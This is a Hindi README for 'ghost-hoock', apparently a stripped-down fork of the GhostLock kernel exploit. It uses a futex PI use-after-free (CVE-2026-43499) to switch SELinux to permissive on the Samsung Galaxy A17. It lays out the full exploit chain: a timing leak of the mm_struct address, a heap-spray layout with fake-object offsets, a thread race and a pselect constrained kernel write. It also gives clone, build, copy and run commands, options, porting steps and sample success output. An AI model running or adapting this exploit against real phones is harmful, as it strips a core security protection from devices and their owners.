
GhostLock को एक ही आदिम तत्व तक सीमित किया गया: futex PI UAF (CVE-2026-43499) के माध्यम से Galaxy A17 (BZA5) पर SELinux बंद। न root, न cred patch, न rwforge।
GhostLock का एक न्यूनतम फोर्क जो केवल एक प्रिमिटिव रखता है: CVE-2026-43499 (futex PI UAF) के माध्यम से SELinux को बंद करना।
ghost-hoock running on Samsung A17
ghost-hoock, Mobile Hacking Lab द्वारा बनाए गए GhostLock एक्सप्लॉइट का एक छोटा किया गया फोर्क है, जिसे एक ही प्रिमिटिव तक सीमित कर दिया गया है:
futex PI UAF के माध्यम से एक सीमित राइट ->
selinux_enforcing = 0।
कोई रूट नहीं, कोई cred ओवरराइट नहीं, कोई rwforge चैनल नहीं, कोई UMH नहीं, कोई configfs नहीं। कमजोर कर्नेल पर SELinux को permissive मोड में बदलने के लिए बस न्यूनतम आवश्यक चीज़।
Samsung Galaxy A17 (SM-A175F, BZA5) पर उदाहरण आउटपुट:
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
फिर:
$ getenforce
Permissive
getenforce returns Permissive
यह एक्सप्लॉइट CVE-2026-43499 को लक्षित करता है — Linux कर्नेल की futex PI (Priority Inheritance) rt_mutex चेन में एक use-after-free। ghost-hoock में चेन चार चरणों की है:
कर्नेल की futex हैश टेबल के विरुद्ध टाइमिंग साइड-चैनल। हम यूज़र-स्पेस futexes के एक सेट पर FUTEX_WAKE_PRIVATE को बार-बार चलाते हैं, rdtsc डेल्टा मापते हैं, और हैश-बकेट टकरावों को सहसंबंधित करते हैं। इससे हमारे स्वयं के mm_struct का पता प्राप्त होता है — जो स्प्रे पेज का आधार है जिसकी हमें बाद में आवश्यकता होती है।
यह KernelSnitch तकनीक है, जिसे मूल एक्सप्लॉइट से ज्यों का त्यों लिया गया है।
हम एक बड़ा order-3 स्लैब पेज आवंटित करते हैं, फिर उसे PI रूट द्वारा उपयोग किए जाने वाले फ़ेक-ऑब्जेक्ट लेआउट के साथ व्यवस्थित करते हैं:
तीन थ्रेड्स:
f_wait पर FUTEX_WAIT_REQUEUE_PI में प्रवेश करता है, जो f_pi_target को लक्षित करता है।f_pi_target पर और फिर f_pi_chain पर FUTEX_LOCK_PI रखता है।sched_setattr(tid, SCHED_BATCH, nice=19) को कॉल करते हुए स्पिन करता है, जो rt_mutex_setprio() को ट्रिगर करता है और कर्नेल को नकली PI ट्री पर चलने के लिए बाध्य करता है।मुख्य थ्रेड से एक चौथा कॉल — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — requeue को शुरू करता है। कर्नेल के अंदर, rb_erase() हमारे नकली ट्री पर चलता है।
pselect() / select() उपयोगकर्ता के fd_set को कर्नेल स्टैक में कॉपी करता है और बाद में उस पर चलता है। हम fd_set बिटमैप्स को इस तरह व्यवस्थित करते हैं कि कर्नेल जिन शब्दों को rb-tree पॉइंटर मानता है वे fake_right और उसके पैरेंट पर पड़ें — और परिणामी rb_set_parent(child, parent) बन जाता है:
*(uint64_t *)target = value | color
mode = 1 (Write 1) के लिए, target = selinux_enforcing और value = base + 0x100, जो byte0 = 0, byte1 = 1 के रूप में एन्कोड होता है। कर्नेल selinux_enforcing[0] पर 0 लिखता है — SELinux अब permissive है।
यह mobilehackinglab/ghostlock-a17 (MIT) का फोर्क है। निम्नलिखित अपस्ट्रीम एक्सप्लॉइट से 1:1 लिया गया है:
सहायक कोड (pr_* मैक्रोज़, SYSCHK, pin_to_core, set_limit, set_unbuffer) भी मूल से ज्यों का त्यों रखा गया है।
मूल GhostLock A17 पर पूर्ण रूट प्राप्त करता है: यह एक rwforge फ़िज़िकल R/W चैनल इंस्टॉल करता है, cred / real_cred को पैच करता है, init creds के साथ एक UMH हेल्पर चलाता है, लॉग कैप्चर करता है, और बहुत कुछ। ghost-hoock में, पहले सीमित राइट के बाद सब कुछ हटा दिया गया है।
मूल GhostLock इस फोर्क की तुलना में अधिक पूर्ण और शक्तिशाली बना हुआ है। ghost-hoock इसका प्रतिस्थापन नहीं है — यह एक संकीर्ण कार्य के लिए एक न्यूनतम PoC है: SELinux को बंद करना।
$PATH में clang और make आवश्यक हैं। Termux पर परीक्षण किया गया; यदि टूलचेन मौजूद हो तो adb shell के माध्यम से भी काम करता है।
git clone https://github.com/genksome/ghost-hoock
cd ghost-hoock
make
आउटपुट: ./ghost-hoock (aarch64, PIE)।
Android NDK के माध्यम से (PC पर)
make NDK=/path/to/android-ndk-r26
या मैन्युअल रूप से:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
क्रॉस-कंपाइल जाँच
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# बाइनरी को शेल कॉन्टेक्स्ट से पढ़ने योग्य कहीं कॉपी करें
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# पुष्टि करें कि SELinux वर्तमान में enforcing है
getenforce
# -> Enforcing
# चलाएँ
/data/local/tmp/ghost-hoock
# सत्यापित करें
getenforce
# -> Permissive
विकल्प
ghost-hoock [options]
--attempts N number of W1 attempts (default: 20)
--no-drain skip slab_drain before each W1 attempt
-h, --help show help
पर्यावरण चर
· GHOSTLOCK_CORE — 0..N. वह CPU कोर जिस पर consumer थ्रेड पिन किया गया है। डिफ़ॉल्ट: 0. · KPHYS — 0x.... कर्नेल फ़िज़िकल लोड एड्रेस, यदि यह P0_KERNEL_PHYS_LOAD से भिन्न हो। · PREPARE_SLABS — 4..64. स्प्रे के दौरान तैयार किए गए स्लैब पेजों की संख्या। डिफ़ॉल्ट: 32. · PSELECT_SHIFT — -14..14. fd_set शब्द शिफ्ट। केवल डीबग। · FOPS_MAX_ATTEMPTS — 4..72. FOPS पेलोड के लिए अधिकतम prepare_kernel_page प्रयास। · RWF_DEBUG — कोई भी मान। पेलोड निर्माण से डीबग लाइनें प्रिंट करें।
6.12.23-android16-5-abA175FXXS5BZD2-4k।shell SELinux कॉन्टेक्स्ट (u:r:shell:s0) से चलाया जाना चाहिए, किसी ऐप से नहीं।पोर्टिंग: अन्य डिवाइस/कर्नेल को अपनी ऑफ़सेट टेबल की आवश्यकता होती है।
include/offsets_bza5.hमें एक नयाOFFSETS_ENTRY(...)जोड़ें, जिसमें उस बिल्ड के लिएvmlinux/kallsymsसे निकाले गए सिंबल ऑफ़सेट हों, फिर पुनः बिल्ड करें।
page_base या असंबंधित मेमोरी पर पड़ने वाला राइट कर्नेल को क्रैश कर देगा। फोर्क में मूल की तुलना में कम सतह है (कोई rwforge नहीं, कोई cred पैच नहीं, कोई UMH नहीं), इसलिए यह सांख्यिकीय रूप से अधिक सुरक्षित है, लेकिन 100% अभेद्य नहीं।slide = 0 पर निर्भर करता है। इस फोर्क में कोई KASLR-लीक नहीं है। यदि आप इसे KASLR-सक्षम कर्नेल पर पोर्ट करते हैं, तो आपको मूल से slide.c वापस लाना होगा।selinux_enforcing पर 0 लिखता है। यदि आपको रूट चाहिए, तो पूर्ण ghostlock-a17 का उपयोग करें।selinux_enforcing = 0) बनाए रखा गया है। PI रूट को गहराई से समझे बिना इसे Write 2 या rwforge पाइपलाइन तक विस्तारित करने का प्रयास न करें।
ghost-hoock/
├── include/
│ ├── ghost_hoock.h # shared header, API
│ ├── offset.h # TARGET_CONFIG_H dispatcher
│ ├── offsets_bza5.h # symbol offsets (BZA5 only)
│ ├── runtime_struct_offsets.h # dynamic struct offsets (_RSO macros)
│ └── target.h # BZA5 addresses, payload layout
├── src/
│ ├── main.c # CLI, offset selection, W1 loop
│ ├── spray.c # KernelSnitch + heap spray + ashmem
│ ├── route.c # PI route + pselect constrained write
│ └── kernelsnitch/ # mm_struct leak (from upstream)
│ ├── kernelsnitch.h
│ ├── futex_hash.h
│ ├── timeutils.h
│ └── utils.h
├── docs/
│ └── img/
│ └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md
MIT — अपस्ट्रीम ghostlock-a17 के समान। LICENSE देखें।
यह फोर्क mobilehackinglab (2026) से मूल कॉपीराइट नोटिस बनाए रखता है और MIT शर्तों के अनुसार ऊपर फोर्क लेखकों को जोड़ता है।
यह प्रोजेक्ट सख्ती से आपके स्वयं के डिवाइस पर सुरक्षा अनुसंधान के लिए प्रकाशित किया गया है। इसे किसी ऐसे डिवाइस पर चलाना जो आपका नहीं है, अधिकांश न्यायक्षेत्रों में अवैध है।
mm_struct लीक तकनीक।Built for research. Tested on a single physical device. Use at your own risk.
| ऑफ़सेट | ऑब्जेक्ट | उद्देश्य |
|---|
0x0E80 | fake_lock | नकली rt_mutex |
0x0F80 | fake_fops | नकली file_operations टेबल |
0x1180 | fake_w0 | लक्ष्य ट्री के रूप में उपयोग किया गया नकली rt_mutex_waiter |
0x1240 | fake_right | नकली rb-tree दायाँ नोड — यहीं से राइट वैल्यू आती है |
0x1260 | fake_left | नकली rb-tree बायाँ नोड |
0x1280 | fake_task | नकली task_struct |
पूरा पेज एक AF_UNIX सॉकेट के माध्यम से sendmsg के SKB_SEND_SIZE = 2 * ORDER3_SIZE के रूप में भेजा जाता है, ताकि skb डेटा हमारे लीक किए गए पेज पर पहुँचे। फिर हम इसे नियंत्रित क्रम में मुक्त करते हैं ताकि हमारा पेज एक per-cpu partial slab पर पहुँचे जिसे हम पुनः प्राप्त कर सकें।
ret = 6 (डिफ़ॉल्ट 9 के बजाय) पुष्टि करता है कि राइट सफल हुआ: consumer ने select() के दौरान लक्ष्य को हिट किया, जिससे यह जल्दी जाग गया।
| घटक | फ़ाइल | नोट्स |
|---|
| KernelSnitch | src/kernelsnitch/* | futex हैश टाइमिंग के माध्यम से mm_struct लीक |
| हीप स्प्रे | src/spray.c | फ़ेक-ऑब्जेक्ट लेआउट, prepare_skb_payload, prepare_kernel_page |
| PI रूट + pselect | src/route.c | prepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread |
| BZA5 ऑफ़सेट | include/offsets_bza5.h | 6.12.23-android16-5-abA175FXXS5BZD2-4k से निकाली गई सिंबल टेबल |
| BZA5 टारगेट हेडर | include/target.h | एड्रेस लेआउट, पेलोड ऑफ़सेट (केवल W1-सबसेट) |
| रनटाइम स्ट्रक्चर ऑफ़सेट | include/runtime_struct_offsets.h | task_struct फ़ील्ड्स के लिए _RSO() मैक्रोज़ |
| हटाई गई फ़ाइल | मूल में यह क्यों मौजूद थी |
|---|
rwforge_a17.c | pipe_buffers के माध्यम से Marching-forger फ़िज़िकल R/W चैनल |
pipe_physrw.c, pipe_reclaim.c | पाइप-बफ़र रिक्लेम -> मनमाना कर्नेल रीड/राइट |
root.c | cred / real_cred ओवरराइट, su इंस्टॉल, SELinux SID पैचिंग |
umh_root.c, wq_umh_root() (main.c में) | नकली कर्नेल वर्कक्यू आइटम से init-creds हेल्पर चलाना |
slide.c | boot_id ओरेकल के माध्यम से KASLR लीक — BZA5 पर आवश्यक नहीं, KASLR बंद है |
miniadb.c | ADB TCP के माध्यम से बूटस्ट्रैप |
try_cfi_stage() (fops.c में) | रूट पाथ को बूटस्ट्रैप करने के लिए उपयोग किया गया CFI-अनुकूल configfs चरण |
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture() | पूरी रूट पाइपलाइन |
install_embedded_su(), install_embedded_wallpaper() | रूट-इंस्टॉल हेल्पर्स |
Write 2 (cred), patch_cred_*, patch_task_seccomp | W1 के बाद क्रेडेंशियल टेकओवर |